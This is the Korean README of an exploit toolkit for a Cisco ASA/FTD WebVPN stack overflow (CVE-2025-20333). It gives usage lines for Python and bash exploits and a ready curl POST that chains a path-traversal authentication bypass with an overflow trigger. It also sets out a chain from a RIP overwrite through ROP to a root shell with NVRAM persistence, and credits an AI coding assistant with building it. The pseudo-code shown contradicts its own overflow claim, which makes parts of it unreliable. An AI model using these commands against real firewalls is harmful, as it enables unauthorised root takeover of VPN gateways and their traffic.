
CVE-2025-20333(Cisco ASA/FTD WebVPN의 치명적인 스택 버퍼 오버플로)을 위한 완전한 연구 및 익스플로잇 툴킷입니다. 상세한 바이너리 분석, Python 및 bash 기반 PoC 익스플로잇, 그리고 익스플로잇 가이드를 포함합니다.
이 디렉토리에는 CVE-2025-20333에 대한 종합적인 연구, 분석 및 개념 증명 코드가 포함되어 있습니다. 이는 Cisco ASA/FTD WebVPN 서버의 치명적인 스택 버퍼 오버플로 취약점입니다.
상태: ⚠️ 실제 환경에서 적극적으로 악용됨 (ArcaneDoor 캠페인)
CVSS 점수: 9.8 치명적
인증: 불필요 (CVE-2025-20362를 통해 우회)
영향: 루트 권한으로 원격 코드 실행
CVE-2025-20333-RESEARCH-NOTES.md (20 KB)완전한 리버스 엔지니어링 연구
핵심 발견:
body_lexer.re2c의 고정 16바이트 버퍼 (local_58[16])
URL 디코딩 루프에 경계 검사가 없음
iVar11 < 16을 확인하지 않고 local_58[iVar11]에 쓰기
8개의 16진수 쌍 이후: 오버플로 → 스택 손상 → RCE
EXPLOITATION-GUIDE.md (12 KB)실전 익스플로잇 매뉴얼
cve-2025-20333-poc.py (15 KB)모든 기능을 갖춘 Python 익스플로잇
기능:
사용법:
# 취약점 세부 정보 표시
python3 cve-2025-20333-poc.py --details
# 대상 익스플로잇
python3 cve-2025-20333-poc.py 192.168.1.100 443
# 사용자 지정 설정
python3 cve-2025-20333-poc.py firewall.example.com 8443 -t 30
cve-2025-20333-poc.sh (8.5 KB)경량 bash 익스플로잇
기능:
사용법:
# 세부 정보 표시
./cve-2025-20333-poc.sh --details
# 익스플로잇
./cve-2025-20333-poc.sh 192.168.1.100 443 10
# curl로 수동 실행
curl -X POST https://target/+CSCOU+/../+CSCOE+/files/file_list.json \
-d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" --insecure
| 속성 | 값 |
|---|---|
| CVE ID | CVE-2025-20333 |
| 유형 | 스택 버퍼 오버플로 (CWE-120) |
| 구성 요소 | body_lexer.re2c (FUN_0302e690) |
| 영향받는 버전 | ASA 9.16–9.23, FTD 7.0–7.7 |
| CVSS v3.1 | 9.8 (치명적) |
| 인증 | 불필요 (CVE-2025-20362 경유) |
| 사용자 상호작용 | 없음 |
| 영향 | 루트 권한 RCE, 전체 시스템 손상 |
| 상태 | 적극적으로 악용됨 (2025년 5월 이후) |
| 책임 있는 공개 | Cisco 패치 완료, 권고 게시됨 |
// body_lexer.re2c - URL 디코딩 루프
byte local_58[16]; // ← 고정 16바이트 버퍼
while (parsing_request_body) {
byte input = *data++;
if (input == '%') {
hex_decode_mode = true;
hex_index = 0;
}
if (hex_decode_mode) {
local_58[hex_index] = input; // ← 경계 검사 없음!
hex_index++;
if (hex_index == 2) {
byte decoded = hex_pair_to_byte(local_58[0], local_58[1]);
hex_decode_mode = false;
}
}
}
오버플로 트리거: POST 본문의 9개 이상의 연속된 %XX 시퀀스
1. 공격자 (인증 불필요)
↓
2. /+CSCOU+/../+CSCOE+/files/file_list.json으로 HTTP POST
├─ CVE-2025-20362: 경로 탐색으로 인증 검사 우회
└─ files_retr.lua 엔드포인트 도달 (auth_flag = 0)
↓
3. POST 본문: name=%2f%2f%2f%2f%2f%2f%2f%2f%2f
(9개 이상의 URL 인코딩 쌍)
↓
4. body_lexer.re2c가 POST 본문 처리
├─ 16진수 쌍을 local_58[16]에 누적
└─ 8개 쌍 이후: 오버플로!
↓
5. 스택 손상
├─ local_48, local_40 덮어쓰기
├─ 저장된 RBP 덮어쓰기
└─ 저장된 RIP (반환 주소) 덮어쓰기
↓
6. 제어 흐름 탈취
├─ RIP가 ROP 가젯을 가리킴
├─ ROP 체인이 execve() 설정
└─ execve("/bin/sh", NULL, NULL)
↓
7. 루트 권한 RCE (lina 프로세스는 루트로 실행)
├─ 전체 VPN 서버 손상
├─ 모든 VPN 트래픽 접근
└─ NVRAM 수정을 통한 지속성 확보
lina 바이너리 열기/+CSCOU+/../+CSCOE+/files/file_list.json 사용 확인local_58[16]권한 확인
익스플로잇 실행
# 빠른 확인: 대상이 익스플로잇 시도에 응답하는가?
python3 cve-2025-20333-poc.py <target_ip>
# 또는 bash 버전:
./cve-2025-20333-poc.sh <target_ip>
익스플로잇 검증
결과 문서화
연구 노트 읽기
CVE-2025-20333-RESEARCH-NOTES.md 학습PoC 연구
적응 및 확장
⚠️ 법적 고지
이 툴킷은 공인된 보안 테스트 전용으로 제공됩니다.
✅ 공인된 사용:
❌ 금지된 사용:
cve-2025-20333/
├── README.md (이 파일)
├── CVE-2025-20333-RESEARCH-NOTES.md (20 KB, 종합 연구)
├── EXPLOITATION-GUIDE.md (12 KB, 실전 가이드)
├── cve-2025-20333-poc.py (15 KB, Python PoC)
└── cve-2025-20333-poc.sh (8.5 KB, bash PoC)
총 문서: ~65 KB
연구 깊이: 50개 이상의 Ghidra 함수 감사
검증된 발견: body_lexer.re2c의 버퍼 오버플로 확인
# 대상이 익스플로잇에 취약한지 테스트
curl -X POST https://<target>/+CSCOU+/../+CSCOE+/files/file_list.json \
-d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" \
--insecure \
-i
# 대상이 응답하면 (200, 500, 충돌), 취약할 수 있음
# 대상이 차단/리다이렉트하면, 패치되었을 수 있음
# 취약한 버전:
# - Cisco ASA 9.16 ~ 9.23
# - Cisco FTD 7.0 ~ 7.7
# SSH/콘솔로 ASA 버전 확인:
show version
# 패치된 버전:
# - ASA 9.16.4.51, 9.18.4.31, 9.20.4.49, 9.22.4.9, 9.24.1+
# - FTD 7.0.x, 7.1.x, 7.2.x (패치됨)
이 툴킷은 교육 및 공인된 테스트 목적으로만 AS-IS로 제공됩니다.
이 프로젝트는 Anthropic의 AI 기반 코딩 어시스턴트인 Claude Code의 도움으로 개발되었습니다.
작성일: 2026-08-23
연구 기간: 2026-08-22 ~ 2026-08-23
상태: 완료 및 문서화
분류: 교육용 / 공인된 테스트 전용